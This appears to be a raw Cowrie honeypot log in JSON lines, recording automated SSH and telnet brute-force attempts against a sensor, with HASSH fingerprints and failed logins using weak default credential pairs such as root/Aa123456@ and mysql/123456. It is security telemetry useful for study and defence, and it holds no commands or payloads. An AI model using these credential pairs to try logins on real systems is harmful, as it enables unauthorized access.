{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:26.907062Z","src_ip":"45.156.87.254","session":"dcee0c3ccae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:27.162548Z","src_ip":"45.156.87.254","session":"dcee0c3ccae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.588157415390015,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:28.215308Z","src_ip":"20.123.41.163","session":"3e562fd38af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:28.411877Z","src_ip":"45.156.87.254","session":"dcee0c3ccae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57116,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a63d722807","protocol":"ssh","message":"New connection: 45.156.87.254:57116 (159.203.135.109:22) [session: c6a63d722807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:32.399202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:32.403341Z","src_ip":"45.156.87.254","session":"c6a63d722807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:32.542501Z","src_ip":"45.156.87.254","session":"c6a63d722807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:32.787313Z","src_ip":"45.156.87.254","session":"c6a63d722807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:33.876302Z","src_ip":"45.156.87.254","session":"c6a63d722807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40474,"dst_ip":"10.17.0.5","dst_port":23,"session":"d17fdb31035f","protocol":"telnet","message":"New connection: 104.245.105.2:40474 (10.17.0.5:23) [session: d17fdb31035f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:35.713261Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":38072,"dst_ip":"10.17.0.5","dst_port":22,"session":"8923d8a57fb9","protocol":"ssh","message":"New connection: 185.16.214.226:38072 (10.17.0.5:22) [session: 8923d8a57fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:36.357482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:36.362075Z","src_ip":"185.16.214.226","session":"8923d8a57fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:36.485491Z","src_ip":"185.16.214.226","session":"8923d8a57fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:37.009392Z","src_ip":"185.16.214.226","session":"8923d8a57fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57124,"dst_ip":"159.203.135.109","dst_port":22,"session":"91188e2c1c7a","protocol":"ssh","message":"New connection: 45.156.87.254:57124 (159.203.135.109:22) [session: 91188e2c1c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:37.438045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:37.442969Z","src_ip":"45.156.87.254","session":"91188e2c1c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37676,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4563b2b97b3","protocol":"telnet","message":"New connection: 20.123.41.163:37676 (10.17.0.5:23) [session: e4563b2b97b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:37.501916Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:37.525990Z","src_ip":"45.156.87.254","session":"91188e2c1c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:37.791415Z","src_ip":"45.156.87.254","session":"91188e2c1c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:38.134715Z","src_ip":"185.16.214.226","session":"8923d8a57fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:38.875871Z","src_ip":"45.156.87.254","session":"91188e2c1c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42610,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4dc74ce87b5","protocol":"ssh","message":"New connection: 45.156.87.254:42610 (159.203.135.109:22) [session: e4dc74ce87b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:42.619549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:42.624533Z","src_ip":"45.156.87.254","session":"e4dc74ce87b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:42.710191Z","src_ip":"45.156.87.254","session":"e4dc74ce87b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:42.972398Z","src_ip":"45.156.87.254","session":"e4dc74ce87b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:44.061123Z","src_ip":"45.156.87.254","session":"e4dc74ce87b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42620,"dst_ip":"159.203.135.109","dst_port":22,"session":"d09c397cf5b6","protocol":"ssh","message":"New connection: 45.156.87.254:42620 (159.203.135.109:22) [session: d09c397cf5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:47.965104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:47.973483Z","src_ip":"45.156.87.254","session":"d09c397cf5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:48.056250Z","src_ip":"45.156.87.254","session":"d09c397cf5b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:48.385800Z","src_ip":"45.156.87.254","session":"d09c397cf5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:49.473220Z","src_ip":"45.156.87.254","session":"d09c397cf5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52678,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6957ba7e91","protocol":"ssh","message":"New connection: 45.156.87.254:52678 (159.203.135.109:22) [session: ac6957ba7e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:52.833097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:52.837075Z","src_ip":"45.156.87.254","session":"ac6957ba7e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:52.921282Z","src_ip":"45.156.87.254","session":"ac6957ba7e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:53.353671Z","src_ip":"45.156.87.254","session":"ac6957ba7e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:54.443368Z","src_ip":"45.156.87.254","session":"ac6957ba7e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52704,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb118263ac78","protocol":"ssh","message":"New connection: 45.156.87.254:52704 (159.203.135.109:22) [session: fb118263ac78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:57.624695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:57.632091Z","src_ip":"45.156.87.254","session":"fb118263ac78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:57.904599Z","src_ip":"45.156.87.254","session":"fb118263ac78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:58.177472Z","src_ip":"45.156.87.254","session":"fb118263ac78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:59.261734Z","src_ip":"45.156.87.254","session":"fb118263ac78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":34272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b316e270ad25","protocol":"ssh","message":"New connection: 45.144.233.139:34272 (10.17.0.5:22) [session: b316e270ad25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:01.637167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:09:01.642536Z","src_ip":"45.144.233.139","session":"b316e270ad25","protocol":"ssh"}
